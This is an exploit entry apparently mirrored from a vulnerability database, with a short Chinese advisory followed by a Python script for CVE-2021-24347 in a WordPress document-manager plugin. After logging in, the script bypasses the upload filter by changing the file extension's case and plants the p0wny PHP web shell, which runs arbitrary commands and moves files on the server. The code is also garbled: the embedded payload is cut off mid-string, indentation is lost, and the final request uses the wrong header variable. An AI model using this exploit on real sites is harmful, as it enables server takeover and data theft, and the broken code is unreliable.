https://cxsecurity.com/issue/WLB-2021070055


http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202106-1214

WordPress是WordPress（Wordpress）基金会的一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。 WordPress 的SP Project ＆ Document Manager 存在代码注入漏洞，该漏洞源于系统未对输入数据进行安全性检查从而允许上传php文件。攻击者可通过该漏洞上传恶意文件。

# Exploit Title: WordPress Plugin SP Project & Document Manager 4.21 - Remote Code Execution (RCE) (Authenticated)
# Date 07.07.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://smartypantsplugins.com/
# Software Link: https://downloads.wordpress.org/plugin/sp-client-document-manager.4.21.zip
# Version: Before 4.22
# Tested on: Ubuntu 18.04
# CVE: CVE-2021-24347
# CWE: CWE-434
# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24347/README.md
'''
Description:
The SP Project & Document Manager WordPress plugin before 4.22 allows users to upload files, however,
the plugin attempts to prevent php and other similar files that could be executed on the server from being uploaded
by checking the file extension. It was discovered that php files could still be uploaded by
changing the file extension's case, for example, from "php" to "pHP".
'''
'''
Banner:
'''
banner = """
______     _______     ____   ___ ____  _      ____  _  _  _____ _  _ _____ 
/ ___\ \   / / ____|   |___ \ / _ \___ \/ |    |___ \| || ||___ /| || |___  |
| |    \ \ / /|  _| _____ __) | | | |__) | |_____ __) | || |_ |_ \| || |_ / / 
| |___  \ V / | |__|_____/ __/| |_| / __/| |_____/ __/|__   _|__) |__   _/ /  
\____|  \_/  |_____|   |_____|\___/_____|_|    |_____|  |_||____/   |_|/_/   
* WordPress Plugin SP Project & Document Manager < 4.22 - RCE (Authenticated)                                                        
* @Hacker5preme
"""
print(banner)
'''
Import required modules:
'''
import requests
import argparse
'''
User-Input:
'''
my_parser = argparse.ArgumentParser(description='Wordpress Plugin SP Project & Document Manager < 4.22 - RCE (Authenticated)')
my_parser.add_argument('-T', '--IP', type=str)
my_parser.add_argument('-P', '--PORT', type=str)
my_parser.add_argument('-U', '--PATH', type=str)
my_parser.add_argument('-u', '--USERNAME', type=str)
my_parser.add_argument('-p', '--PASSWORD', type=str)
args = my_parser.parse_args()
target_ip = args.IP
target_port = args.PORT
wp_path = args.PATH
username = args.USERNAME
password = args.PASSWORD
print('')
print('[*] Starting Exploit:')
print('')
'''
Authentication:
'''
session = requests.Session()
auth_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-login.php'
# Header:
header = {
'Host': target_ip,
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'http://' + target_ip,
'Connection': 'close',
'Upgrade-Insecure-Requests': '1'
}
# Body:
body = {
'log': username,
'pwd': password,
'wp-submit': 'Log In',
'testcookie': '1'
}
# Authenticate:
print('')
auth = session.post(auth_url, headers=header, data=body)
auth_header = auth.headers['Set-Cookie']
if 'wordpress_logged_in' in auth_header:
print('[+] Authentication successfull !')
else:
print('[-] Authentication failed !')
exit()
'''
Retrieve User ID from the widget:
'''
user_id_text = session.get('http://' + target_ip + ':' + target_port + wp_path + 'wp-admin/admin.php?page=sp-client-document-manager-fileview').text
search_string = "<form><select name='user_uid' id='user_uid' class=''>"
user_string = ">" + username
user_id_text = user_id_text[user_id_text.find(search_string):]
user_id_text = user_id_text[user_id_text.find(user_string) - 2: user_id_text.find(user_string)]
user_id = user_id_text.replace("'", '')
'''
Exploit:
'''
exploit_url = "http://" + target_ip + ':' + target_port + wp_path + 'wp-admin/admin.php?page=sp-client-document-manager-fileview&id=' + user_id
# Header (Exploit):
Header = {
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": "de,en-US;q=0.7,en;q=0.3",
"Accept-Encoding": "gzip, deflate",
"Referer": exploit_url,
"Content-Type": "multipart/form-data; boundary=---------------------------37032792112149247252673711332",
"Origin": "http://" + target_ip,
"Connection": "close",
"Upgrade-Insecure-Requests": "1"
}
# Web Shell payload (p0wny shell): https://github.com/flozz/p0wny-shell
shell_payload = "-----------------------------37032792112149247252673711332\r\nContent-Disposition: form-data; name=\"cdm_upload_file_field\"\r\n\r\na1b3bac1bc\r\n-----------------------------37032792112149247252673711332\r\nContent-Disposition: form-data; name=\"_wp_http_referer\"\r\n\r\n/wordpress/wp-admin/admin.php?page=sp-client-document-manager-fileview&id=1\r\n-----------------------------37032792112149247252673711332\r\nContent-Disposition: form-data; name=\"dlg-upload-name\"\r\n\r\nExploits\r\n-----------------------------37032792112149247252673711332\r\nContent-Disposition: form-data; name=\"dlg-upload-file[]\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n-----------------------------37032792112149247252673711332\r\nContent-Disposition: form-data; name=\"dlg-upload-file[]\"; filename=\"shell.pHP\"\r\nContent-Type: application/x-php\r\n\r\n<?php\n\nfunction featureShell($cmd, $cwd) {\n    $stdout = array();\n\n    if (preg_match(\"/^\\s*cd\\s*$/\", $cmd)) {\n        // pass\n    } elseif (preg_match(\"/^\\s*cd\\s+(.+)\\s*(2>&1)?$/\", $cmd)) {\n        chdir($cwd);\n        preg_match(\"/^\\s*cd\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n        chdir($match[1]);\n    } elseif (preg_match(\"/^\\s*download\\s+[^\\s]+\\s*(2>&1)?$/\", $cmd)) {\n        chdir($cwd);\n        preg_match(\"/^\\s*download\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n        return featureDownload($match[1]);\n    } else {\n        chdir($cwd);\n        exec($cmd, $stdout);\n    }\n\n    return array(\n        \"stdout\" => $stdout,\n        \"cwd\" => getcwd()\n    );\n}\n\nfunction featurePwd() {\n    return array(\"cwd\" => getcwd());\n}\n\nfunction featureHint($fileName, $cwd, $type) {\n    chdir($cwd);\n    if ($type == 'cmd') {\n        $cmd = \"compgen -c $fileName\";\n    } else {\n        $cmd = \"compgen -f $fileName\";\n    }\n    $cmd = \"/bin/bash -c \\\"$cmd\\\"\";\n    $files = explode(\"\\n\", shell_exec($cmd));\n    return array(\n        'files' => $files,\n    );\n}\n\nfunction featureDownload($filePath) {\n    $file = @file_get_contents($filePath);\n    if ($file === FALSE) {\n        return array(\n            'stdout' => array('File not found / no read permission.'),\n            'cwd' => getcwd()\n        );\n    } else {\n        return array(\n            'name' => basename($filePath),\n            'file' => base64_encode($file)\n        );\n    }\n}\n\nfunction featureUpload($path, $file, $cwd) {\n    chdir($cwd);\n    $f = @fopen($path, 'wb');\n    if ($f === FALSE) {\n        return array(\n            'stdout' => array('Invalid path / no write permission.'),\n            'cwd' => getcwd()\n        );\n    } else {\n        fwrite($f, base64_decode($file));\n        fclose($f);\n        return array(\n            'stdout' => array('Done.'),\n            'cwd' => getcwd()\n        );\n    }\n}\n\nif (isset($_GET[\"feature\"])) {\n\n    $response = NULL;\n\n    switch ($_GET[\"feature\"]) {\n        case \"shell\":\n            $cmd = $_POST['cmd'];\n            if (!preg_match('/2>/', $cmd)) {\n                $cmd .= ' 2>&1';\n            }\n            $response = featureShell($cmd, $_POST[\"cwd\"]);\n            break;\n        case \"pwd\":\n            $response = featurePwd();\n            break;\n        case \"hint\":\n            $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\n            break;\n        case 'upload':\n            $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);\n    }\n\n    header(\"Content-Type: application/json\");\n    echo json_encode($response);\n    die();\n}\n\n?><!DOCTYPE html>\n\n<html>\n\n    <head>\n        <meta charset=\"UTF-8\" />\n        <title>p0wny@shell:~#</title>\n        <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n        <style>\n            html, body {\n                margin: 0;\n                padding: 0;\n                background: #333;\n                color: #eee;\n                font-family: monospace;\n            }\n\n            *::-we
# Exploit:
session.post(exploit_url, headers=header, data=shell_payload)
print('')
print('[+] Exploit done !')
print(' -> Webshell: http://' + target_ip + ':' + target_port + wp_path + 'wp-content/uploads/sp-client-document-manager/' + user_id + '/shell.php')
print('')

来源:CONFIRM

链接:https://wpscan.com/vulnerability/8f6e82d5-c0e9-468e-acb8-7cd549f6a45a